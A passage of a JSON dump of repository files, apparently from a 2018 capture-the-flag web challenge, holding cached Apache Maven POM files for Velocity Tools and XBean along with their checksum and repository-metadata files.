<inputEncoding>UTF-8</inputEncoding>\n            <outputEncoding>UTF-8</outputEncoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <configuration>\n            <includes>\n              <include>**/Test*.java</include>\n              <include>**/*Test.java</include>\n              <include>**/*TestCase.java</include>\n              <include>**/*Tests.java</include>\n            </includes>\n          </configuration>\n        </plugin>\n      </plugins>\n      <resources>\n        <resource>\n          <directory>src/main/java</directory>\n          <excludes>\n            <exclude>**/*.java</exclude>\n          </excludes>\n        </resource>\n      </resources>\n    </build>\n\n    <distributionManagement>\n      <site>\n        <id>velocity.apache.org</id>\n        <url>scpexe://people.apache.org/www/velocity.apache.org/tools/releases/velocity-tools-2.0/</url>\n      </site>\n      <!--\n      <repository>\n        <id>default</id>\n        <name>Apache Release Mirroring Distribution Repository</name>\n        <url>scp://people.apache.org/www/www.apache.org/dist/velocity/tools/</url>\n      </repository>\n      -->\n      <repository>\n        <id>apache.releases</id>\n        <name>Apache Release Distribution Repository</name>\n        <url>scp://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository</url>\n      </repository>\n      <snapshotRepository>\n        <id>apache.snapshots</id>\n        <name>Apache Development Snapshot Repository</name>\n        <url>scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n      </snapshotRepository>\n    </distributionManagement>\n\n    <developers>\n        <developer>\n            <id>nbubna</id>\n            <name>Nathan Bubna</name>\n            <email>nbubna@apache.org</email>\n            <organization>ESHA Research</organization>\n            <timezone>-8</timezone>\n            <roles>\n              <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <id>henning</id>\n            <name>Henning Schmiedehausen</name>\n            <email>henning@apache.org</email>\n            <roles>\n              <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <id>wglass</id>\n            <name>Will Glass-Husain</name>\n            <email>wglass@apache.org</email>\n            <roles>\n              <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <id>geirm</id>\n            <name>Geir Magnusson Jr.</name>\n            <email>geirm@apache.org</email>\n            <roles>\n              <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <id>dlr</id>\n            <name>Daniel Rall</name>\n            <email>dlr@apache.org</email>\n            <roles>\n              <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <id>marino</id>\n            <name>Marinó A. Jónsson</name>\n            <email>marino@apache.org</email>\n            <roles>\n              <role>Java Developer</role>\n            </roles>\n        </developer>\n        <developer>\n            <id>cbrisson</id>\n            <name>Claude Brisson</name>\n            <email>cbrisson@apache.org</email>\n            <roles>\n              <role>Java Developer</role>\n            </roles>\n        </developer>\n    </developers>\n    <contributors>\n        <contributor>\n            <name>Craig R. McClanahan</name>\n        </contributor>\n        <contributor>\n            <name>Christopher Schultz</name>\n        </contributor>\n        <contributor>\n            <name>Chris Townsen</name>\n        </contributor>\n        <contributor>\n            <name>Dave Bryson</name>\n        </contributor>\n        <contributor>\n            <name>David Graham</name>\n        </contributor>\n        <contributor>\n            <name>David Winterfeldt</name>\n        </contributor>\n        <contributor>\n            <name>Denis Bredelet</name>\n        </contributor>\n        <contributor>\n            <name>Dmitri Colebatch</name>\n        </contributor>\n        <contributor>\n            <name>Gabriel Sidler</name>\n        </contributor>\n        <contributor>\n            <name>Jon S. Stevens</name>\n        </contributor>\n        <contributor>\n            <name>Kent Johnson</name>\n        </contributor>\n        <contributor>\n            <name>Leon Messerschmidt</name>\n        </contributor>\n        <contributor>\n            <name>Mike Kienenberger</name>\n        </contributor>\n        <contributor>\n            <name>S. Brett Sutton</name>\n        </contributor>\n        <contributor>\n            <name>Shinobu Kawai</name>\n        </contributor>\n        <contributor>\n            <name>Ted Husted</name>\n        </contributor>\n        <contributor>\n            <name>Tim Colson</name>\n        </contributor>\n    </contributors>\n\n    <reporting>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-project-info-reports-plugin</artifactId>\n          <reportSets>\n            <reportSet>\n              <reports>\n                <report>dependencies</report>\n                <report>issue-tracking</report>\n                <report>license</report>\n                <report>summary</report>\n                <report>scm</report>\n              </reports>\n            </reportSet>\n          </reportSets>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-changes-plugin</artifactId>\n          <reportSets>\n            <reportSet>\n              <reports>\n                <report>changes-report</report>\n                <report>jira-report</report>\n              </reports>\n            </reportSet>\n          </reportSets>\n          <configuration>\n            <!-- no FixFor yet. -->\n            <filter>sorter/field=issuekey&amp;sorter/order=ASC</filter>\n            <maxEntries>100</maxEntries>\n            <teamlist>http://velocity.apache.org/who-we-are.html</teamlist>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>taglist-maven-plugin</artifactId>\n          <configuration>\n            <tag>TODO</tag>\n            <tag>FIXME</tag>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jxr-plugin</artifactId>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <configuration>\n            <links>\n              <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n              <link>http://jakarta.apache.org/commons/lang/api-release</link>\n              <link>http://jakarta.apache.org/commons/logging/api-release</link>\n              <link>http://jakarta.apache.org/commons/collections/api-release</link>\n              <link>http://logging.apache.org/log4j/docs/api</link>\n              <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs</link>\n            </links>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-changelog-plugin</artifactId>\n        </plugin>\n      </plugins>\n    </reporting>\n\n    <mailingLists>\n        <mailingList>\n            <name>Velocity User List</name>\n            <subscribe>user-subscribe@velocity.apache.org</subscribe>\n            <unsubscribe>user-unsubscribe@velocity.apache.org</unsubscribe>\n            <archive>http://mail-archives.apache.org/mod_mbox/velocity-user/</archive>\n            <otherArchives>\n                <otherArchive>http://marc.theaimsgroup.com/?l=velocity-user&amp;r=1&amp;w=2</otherArchive>\n                <otherArchive>http://dir.gmane.org/gmane.comp.jakarta.velocity.user</otherArchive>\n                <otherArchive>http://www.nabble.com/Velocity---User-f347.html</otherArchive>\n                <otherArchive>http://www.mail-archive.com/user%40velocity.apache.org/</otherArchive>\n                <otherArchive>http://www.mail-archive.com/velocity-user%40jakarta.apache.org/</otherArchive>\n            </otherArchives>\n        </mailingList>\n        <mailingList>\n            <name>Velocity Developer List</name>\n            <subscribe>dev-subscribe@velocity.apache.org</subscribe>\n            <unsubscribe>dev-unsubscribe@velocity.apache.org</unsubscribe>\n            <archive>http://mail-archives.apache.org/mod_mbox/velocity-dev/</archive>\n            <otherArchives>\n                <otherArchive>http://marc.theaimsgroup.com/?l=velocity-dev&amp;r=1&amp;w=2/</otherArchive>\n                <otherArchive>http://dir.gmane.org/gmane.comp.jakarta.velocity.devel</otherArchive>\n                <otherArchive>http://www.nabble.com/Velocity---Dev-f346.html</otherArchive>\n                <otherArchive>http://www.mail-archive.com/dev%40velocity.apache.org/</otherArchive>\n                <otherArchive>http://www.mail-archive.com/velocity-dev%40jakarta.apache.org/</otherArchive>\n            </otherArchives>\n        </mailingList>\n    </mailingLists>\n\n\n    <issueManagement>\n        <system>JIRA</system>\n        <url>http://issues.apache.org/jira/browse/VELTOOLS</url>\n    </issueManagement>\n    <scm>\n        <connection>scm:svn:http://svn.apache.org/repos/asf/velocity/tools/trunk</connection>\n        <developerConnection>scm:svn:https://svn.apache.org/repos/asf/velocity/tools/trunk</developerConnection>\n        <tag>HEAD</tag>\n        <url>http://svn.apache.org/repos/asf/velocity/tools/trunk</url>\n    </scm>\n\n    <dependencies>\n        <dependency>\n            <groupId>commons-beanutils</groupId>\n            <artifactId>commons-beanutils</artifactId>\n            <version>1.7.0</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-digester</groupId>\n            <artifactId>commons-digester</artifactId>\n            <version>1.8</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-chain</groupId>\n            <artifactId>commons-chain</artifactId>\n            <version>1.1</version>\n            <exclusions>\n                <exclusion>\n                    <groupId>javax.portlet</groupId>\n                    <artifactId>portlet-api</artifactId>\n                </exclusion>\n                <exclusion>\n                    <groupId>myfaces</groupId>\n                    <artifactId>myfaces-api</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>commons-collections</groupId>\n            <artifactId>commons-collections</artifactId>\n            <version>3.2</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-lang</groupId>\n            <artifactId>commons-lang</artifactId>\n            <version>2.2</version>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>commons-logging</groupId>\n            <artifactId>commons-logging</artifactId>\n            <version>1.1</version>\n            <exclusions>\n                <exclusion>\n                    <groupId>avalon-framework</groupId>\n                    <artifactId>avalon-framework</artifactId>\n                </exclusion>\n                <exclusion>\n                    <groupId>logkit</groupId>\n                    <artifactId>logkit</artifactId>\n                </exclusion>\n                <exclusion>\n                    <groupId>log4j</groupId>\n                    <artifactId>log4j</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>commons-validator</groupId>\n            <artifactId>commons-validator</artifactId>\n            <version>1.3.1</version>\n            <exclusions>\n                <exclusion>\n                    <groupId>xml-apis</groupId>\n                    <artifactId>xml-apis</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>dom4j</groupId>\n            <artifactId>dom4j</artifactId>\n            <version>1.1</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>servlet-api</artifactId>\n            <version>2.3</version>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>oro</groupId>\n            <artifactId>oro</artifactId>\n            <version>2.0.8</version>\n        </dependency>\n        <dependency>\n            <groupId>sslext</groupId>\n            <artifactId>sslext</artifactId>\n            <version>1.2-0</version>\n            <exclusions>\n                <exclusion>\n                    <groupId>struts</groupId>\n                    <artifactId>struts</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.struts</groupId>\n            <artifactId>struts-core</artifactId>\n            <version>1.3.8</version>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.struts</groupId>\n            <artifactId>struts-taglib</artifactId>\n            <version>1.3.8</version>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.struts</groupId>\n            <artifactId>struts-tiles</artifactId>\n            <version>1.3.8</version>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.velocity</groupId>\n            <artifactId>velocity</artifactId>\n            <version>1.6.2</version>\n        </dependency>\n        <dependency>\n            <groupId>httpunit</groupId>\n            <artifactId>httpunit</artifactId>\n            <version>1.6.1</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.mortbay.jetty</groupId>\n            <artifactId>jetty-embedded</artifactId>\n            <version>6.0.1</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.mortbay.jetty</groupId>\n            <artifactId>jetty-embedded</artifactId>\n            <version>6.0.1</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>nekohtml</groupId>\n            <artifactId>nekohtml</artifactId>\n            <version>0.9.5</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>rhino</groupId>\n            <artifactId>js</artifactId>\n            <version>1.6R5</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>xerces</groupId>\n            <artifactId>xercesImpl</artifactId>\n            <version>2.8.1</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>xerces</groupId>\n            <artifactId>xmlParserAPIs</artifactId>\n            <version>2.6.2</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.1</version>\n            <scope>test</scope>\n        </dependency>\n\n    </dependencies>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity-tools/2.0/velocity-tools-2.0.pom.sha1",
    "content": "dfbd6d8a50df5de5ba9949e9ca9d0cf9af6ca99e\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean/3.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:05 CST 2018\nxbean-3.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean/3.4/xbean-3.4.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n<!--\n\n    Licensed to the Apache Software Foundation (ASF) under one or more\n    contributor license agreements.  See the NOTICE file distributed with\n    this work for additional information regarding copyright ownership.\n    The ASF licenses this file to You under the Apache License, Version 2.0\n    (the \"License\"); you may not use this file except in compliance with\n    the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n    Unless required by applicable law or agreed to in writing, software\n    distributed under the License is distributed on an \"AS IS\" BASIS,\n    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n    See the License for the specific language governing permissions and\n    limitations under the License.\n\n-->\n\n<!-- $Rev: 432962 $ $Date: 2006-08-20 03:47:39 -0700 (Sun, 20 Aug 2006) $ -->\n\n    <modelVersion>4.0.0</modelVersion>\n\n    <parent>\n        <groupId>org.apache</groupId>\n        <artifactId>apache</artifactId>\n        <version>4</version>\n    </parent>\n\n    <groupId>org.apache.xbean</groupId>\n    <artifactId>xbean</artifactId>\n    <name>Apache XBean</name>\n    <packaging>pom</packaging>\n    <inceptionYear>2005</inceptionYear>\n    \n    <version>3.4</version>\n    \n    <description>\n        XBean is a plugin based server architecture.\n    </description>\n    \n    <url>http://geronimo.apache.org/xbean</url>\n    \n    <scm>\n        <connection>scm:svn:http://svn.apache.org/repos/asf/geronimo/xbean/tags/xbean-3.4</connection>\n        <developerConnection>scm:svn:https://svn.apache.org/repos/asf/geronimo/xbean/tags/xbean-3.4</developerConnection>\n        <url>http://svn.apache.org/viewvc/geronimo/xbean/tags/xbean-3.4</url>\n    </scm>\n    \n    <properties>\n\t    <!--\n\t     |\n\t     | Geronimo OSGi properties\n\t     | \n\t     | Note: when modules can override these properties.\n\t     |\n\t     -->\n\t    <xbean.osgi.import.pkg>*</xbean.osgi.import.pkg>\n\t    <xbean.osgi.export.pkg>org.apache.xbean*</xbean.osgi.export.pkg>\n\t    <xbean.osgi.private.pkg />\n\t    <xbean.osgi.export>!META-INF*,${xbean.osgi.export.pkg}*;version=${xbean.osgi.export.version}</xbean.osgi.export>\n\t    <xbean.osgi.export.version>${project.version}</xbean.osgi.export.version>\n\t    <xbean.osgi.import>!META-INF*,${xbean.osgi.import.pkg}</xbean.osgi.import>\n\t    <xbean.osgi.symbolic.name>${groupId}.${artifactId}</xbean.osgi.symbolic.name>\n    </properties>\n\n    \n    <issueManagement>\n        <system>jira</system>\n        <url>http://issues.apache.org/jira/browse/XBEAN</url>\n    </issueManagement>\n    \n    <mailingLists>\n        <mailingList>\n            <name>xbean developers</name>\n            <subscribe>mailto:xbean-dev-subscribe@geronimo.apache.org</subscribe>\n            <unsubscribe>mailto:xbean-dev-unsubscribe@xbean.org</unsubscribe>\n        </mailingList>\n        <mailingList>\n            <name>xbean users</name>\n            <subscribe>mailto:xbean-user-subscribe@geronimo.apache.org</subscribe>\n            <unsubscribe>mailto:xbean-user-unsubscribe@geronimo.apache.org</unsubscribe>\n        </mailingList>\n    </mailingLists>\n    \n    <developers>\n        <developer>\n            <id>chirino</id>\n            <name>Hiram Chirino</name>\n            <roles>\n                <role>Commiter</role>\n            </roles>\n            <timezone>-5</timezone>\n        </developer>\n        <developer>\n            <id>dain</id>\n            <name>Dain Sundstrom</name>\n            <email>dain@iq80.com</email>\n            <roles>\n                <role>Commiter</role>\n            </roles>\n            <timezone>-8</timezone>\n        </developer>\n        <developer>\n            <id>dblevins</id>\n            <name>David Blevins</name>\n            <email>dblevins@visi.com</email>\n            <roles>\n                <role>Commiter</role>\n            </roles>\n            <timezone>-8</timezone>\n        </developer>\n        <developer>\n            <id>jstrachan</id>\n            <name>James Strachan</name>\n            <roles>\n                <role>Commiter</role>\n            </roles>\n            <timezone>-8</timezone>\n        </developer>\n        <developer>\n            <id>jvanzyl</id>\n            <name>Jason van Zyl</name>\n            <roles>\n                <role>Commiter</role>\n            </roles>\n            <timezone>-8</timezone>\n        </developer>\n        <developer>\n            <id>maguro</id>\n            <name>Alan D. Cabrera</name>\n            <roles>\n                <role>Commiter</role>\n            </roles>\n            <timezone>-8</timezone>\n        </developer>\n        <developer>\n            <id>gnodet</id>\n            <name>Guillaume Nodet</name>\n            <roles>\n                <role>Commiter</role>\n            </roles>\n            <timezone>+1</timezone>\n        </developer>\n    </developers>\n    \n    <dependencyManagement>\n        <dependencies>\n            \n            <dependency>\n                <groupId>ant</groupId>\n                <artifactId>ant</artifactId>\n                <version>1.6.2</version>\n            </dependency>\n            \n            <dependency>\n                <groupId>cglib</groupId>\n                <artifactId>cglib-nodep</artifactId>\n                <version>2.1_2</version>\n            </dependency>\n            \n            <dependency>\n                <groupId>commons-beanutils</groupId>\n                <artifactId>commons-beanutils</artifactId>\n                <version>1.7.0</version>\n            </dependency>\n            \n            <dependency>\n                <groupId>commons-logging</groupId>\n                <artifactId>commons-logging</artifactId>\n                <version>1.0.3</version>\n            </dependency>\n            \n            <dependency>\n                <groupId>groovy</groupId>\n                <artifactId>groovy</artifactId>\n                <version>1.0-jsr-03</version>\n            </dependency>\n            \n            <dependency>\n                <groupId>mx4j</groupId>\n                <artifactId>mx4j</artifactId>\n                <version>3.0.1</version>\n            </dependency>\n            \n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-beans</artifactId>\n                <version>2.0.5</version>\n            </dependency>\n            \n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-context</artifactId>\n                <version>2.0.5</version>\n            </dependency>\n            \n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-web</artifactId>\n                <version>2.0.5</version>\n            </dependency>\n            \n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-jmx</artifactId>\n                <version>2.0.5</version>\n            </dependency>\n            \n            <dependency>\n                <groupId>com.thoughtworks.qdox</groupId>\n                <artifactId>qdox</artifactId>\n                <version>1.6.3</version>\n            </dependency>\n            \n        </dependencies>\n    </dependencyManagement>\n    \n    <dependencies>\n    \n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>3.8.1</version>\n            <scope>test</scope>\n        </dependency>\n        \n    </dependencies>\n    \n    <build>\n        <defaultGoal>install</defaultGoal>\n        \n        <pluginManagement>\n            <plugins>\n                <plugin>\n                    <groupId>org.apache.xbean</groupId>\n                    <artifactId>maven-xbean-plugin</artifactId>\n                    <version>${pom.version}</version>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n        \n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>1.5</source>\n                    <target>1.5</target>\n                </configuration>\n            </plugin>\n            \n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <configuration>\n                    <failIfNoTests>false</failIfNoTests>\n                </configuration>\n            </plugin>\n\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-idea-plugin</artifactId>\n                <configuration>\n                    <jdkName>1.5</jdkName>\n                     <jdkLevel>1.5</jdkLevel>\n                    <linkModules>true</linkModules>\n                </configuration>\n            </plugin>\n            \n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-release-plugin</artifactId>\n                <version>2.0-beta-7</version>\n                <configuration>\n                    <preparationGoals>clean,verify,install</preparationGoals>\n                    <autoVersionSubmodules>true</autoVersionSubmodules>\n                </configuration>\n            </plugin>\n            \n            <!-- Add NOTICE and LICENSE to jars -->\n            <plugin>\n                <artifactId>maven-remote-resources-plugin</artifactId>\n                <version>1.0</version>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>process</goal>\n                        </goals>\n                        <configuration>\n                            <resourceBundles>\n                                <resourceBundle>org.apache:apache-jar-resource-bundle:1.4</resourceBundle>\n                            </resourceBundles>\n                            <properties>\n                                <addLicense>true</addLicense>\n                                <addArtifact>true</addArtifact>\n                                <projectName>Apache XBean</projectName>\n                            </properties>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>\n\n            <!-- OSGi bundles plugin -->\n\t        <plugin>\n\t            <groupId>org.apache.felix</groupId>\n\t            <artifactId>maven-bundle-plugin</artifactId>\n\t            <version>1.4.0</version>\n\t            <extensions>true</extensions>\n\t            <configuration>\n\t\t            <instructions>\n\t\t                <Bundle-Name>${artifactId}</Bundle-Name>\n\t\t                <Bundle-SymbolicName>${xbean.osgi.symbolic.name}</Bundle-SymbolicName>\n\t\t                <Export-Package>${xbean.osgi.export}</Export-Package>\n\t\t                <Import-Package>${xbean.osgi.import}</Import-Package>\n\t\t                <Private-Package>${xbean.osgi.private.pkg}</Private-Package>\n\t\t                <Implementation-Title>Apache XBean</Implementation-Title>\n\t\t                <Implementation-Version>${project.version}</Implementation-Version>\n\t\t           </instructions>\n\t\t        </configuration>\n\t        </plugin>\n        </plugins>\n    </build>\n    \n    <profiles>\n        <profile>\n           <id>release</id>\n            <build>\n                <plugins>\n                    <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n                    <plugin>\n                        <inherited>true</inherited>\n                        <artifactId>maven-gpg-plugin</artifactId>\n                        <version>1.0-alpha-4</version>\n                        <configuration>\n                            <passphrase>${gpg.passphrase}</passphrase>\n                        </configuration>\n                        <executions>\n                            <execution>\n                                <goals>\n                                    <goal>sign</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <!-- We want to deploy the artifact to a staging location for perusal -->\n                    <plugin>\n                        <inherited>true</inherited>\n                        <artifactId>maven-deploy-plugin</artifactId>\n                        <version>2.3</version>\n                        <configuration>\n                            <altDeploymentRepository>${deploy.altRepository}</altDeploymentRepository>\n                            <updateReleaseInfo>true</updateReleaseInfo>\n                        </configuration>\n                    </plugin>\n\t              </plugins>\n\t          </build>\n\t      </profile>\n\t      <profile>\n\t          <id>deploy</id>\n\t          <build>\n\t              <defaultGoal>deploy</defaultGoal>\n\t              <plugins>\n                    <!-- We want the Source JAR published with the release -->\n\t\t            <plugin>\n\t\t                <groupId>org.apache.maven.plugins</groupId>\n\t\t                <artifactId>maven-source-plugin</artifactId>\n                        <version>2.0.4</version>\n\t\t                <executions>\n\t\t                    <execution>\n\t\t                        <goals>\n\t\t                            <goal>jar</goal>\n\t\t                        </goals>\n\t\t                    </execution>\n\t\t                </executions>\n\t\t            </plugin>\n                    <!-- We want the JavaDoc JAR published with the release -->\n                    <plugin>\n                        <inherited>true</inherited>\n                        <artifactId>maven-javadoc-plugin</artifactId>\n                        <version>2.4</version>\n                        <configuration>\n                            <source>1.5</source>\n                        </configuration>\n                        <executions>\n                            <execution>\n                                <id>attach-javadocs</id>\n                                <goals>\n                                    <goal>jar</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                </plugins>\n            </build>\n        </profile>\n    </profiles>\n    \n    <modules>\n        <module>xbean-classloader</module>\n        <module>xbean-classpath</module>\n        <module>xbean-finder</module>\n        <module>xbean-naming</module>\n        <module>xbean-reflect</module>\n        <module>xbean-spring</module>\n        <module>xbean-telnet</module>\n        <module>maven-xbean-plugin</module>\n    </modules>\n    \n    <repositories>\n\n        <!--\n        NOTE: The default repositories are picked up by Genesis, but need to\n              specify where Genesis lives to pick it up + any additional repositories.\n        -->\n        \n        <repository>\n            <id>apache-snapshots</id>\n            <name>Apache Snapshots Repository</name>\n            <url>http://people.apache.org/repo/m2-snapshot-repository</url>\n            <layout>default</layout>\n            <snapshots>\n                <enabled>true</enabled>\n                <updatePolicy>daily</updatePolicy>\n                <checksumPolicy>ignore</checksumPolicy>\n            </snapshots>\n            <releases>\n                <enabled>false</enabled>\n            </releases>\n        </repository>\n    </repositories>\n    \n    <distributionManagement>\n        <site>\n            <id>geronimo-website</id>\n            <url>scp://people.apache.org/www/geronimo.apache.org/maven/xbean</url>\n        </site>\n    </distributionManagement>\n    \n    <reporting>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>2.0</version>\n                <configuration>\n                    <minmemory>128m</minmemory>\n                    <maxmemory>512</maxmemory>\n                    <breakiterator>true</breakiterator>\n                    <quiet>true</quiet>\n                    <verbose>false</verbose>\n                    <source>1.5</source>\n                    <!--\n                    FIXME: This worked in m1, but m2 complains about it being an invalid flag\n                    \n                    <additionalparam>-J-Djava.awt.headless=true</additionalparam>\n                    -->\n                    <linksource>true</linksource>\n                    <links>\n                        <!-- JSE -->\n                        <link>http://java.sun.com/j2se/1.5.0/docs/api/</link>\n                        <link>http://java.sun.com/j2se/1.4.2/docs/api/</link>\n                        <link>http://java.sun.com/j2se/1.3/docs/api/</link>\n                        \n                        <!-- JEE -->\n                        <link>http://java.sun.com/j2ee/1.4/docs/api/</link>\n                        <link>http://java.sun.com/j2ee/sdk_1.3/techdocs/api/</link>\n                        \n                        <!-- Libraries -->\n                        <link>http://jakarta.apache.org/commons/collections/apidocs</link>\n                        <link>http://jakarta.apache.org/commons/logging/apidocs/</link>\n                        <link>http://logging.apache.org/log4j/docs/api/</link>\n                        <link>http://jakarta.apache.org/regexp/apidocs/</link>\n                        <link>http://jakarta.apache.org/velocity/api/</link>\n                    </links>\n                </configuration>\n            </plugin>\n            \n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-pmd-plugin</artifactId>\n                <version>2.1</version>\n                <configuration>\n                    <targetJdk>1.5</targetJdk>\n                </configuration>\n            </plugin>\n            \n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>jxr-maven-plugin</artifactId>\n            </plugin>\n            \n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>surefire-report-maven-plugin</artifactId>\n            </plugin>\n\n        </plugins>\n    </reporting>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean/3.4/xbean-3.4.pom.sha1",
    "content": "6b6d0d977f3fb41cfd097a350472baefd82713f5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean-reflect/3.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nxbean-reflect-3.4.jar>central=\nxbean-reflect-3.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean-reflect/3.4/xbean-reflect-3.4.jar.sha1",
    "content": "26fd55dceb037f4789b399b22874d74f4d2db66f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean-reflect/3.4/xbean-reflect-3.4.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n<!--\n\n    Licensed to the Apache Software Foundation (ASF) under one or more\n    contributor license agreements.  See the NOTICE file distributed with\n    this work for additional information regarding copyright ownership.\n    The ASF licenses this file to You under the Apache License, Version 2.0\n    (the \"License\"); you may not use this file except in compliance with\n    the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n    Unless required by applicable law or agreed to in writing, software\n    distributed under the License is distributed on an \"AS IS\" BASIS,\n    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n    See the License for the specific language governing permissions and\n    limitations under the License.\n\n-->\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>xbean</artifactId>\n    <groupId>org.apache.xbean</groupId>\n    <version>3.4</version>\n  </parent>\n\n  <artifactId>xbean-reflect</artifactId>\n  <packaging>bundle</packaging>\n  <name>Apache XBean :: Reflect</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>asm</groupId>\n      <artifactId>asm</artifactId>\n      <version>2.2.3</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>asm</groupId>\n      <artifactId>asm-commons</artifactId>\n      <version>2.2.3</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>log4j</groupId>\n      <artifactId>log4j</artifactId>\n      <version>1.2.12</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging-api</artifactId>\n      <version>1.1</version>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n\n  <profiles>\n    <profile>\n      <activation>\n        <property>\n          <name>DEBUG</name>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            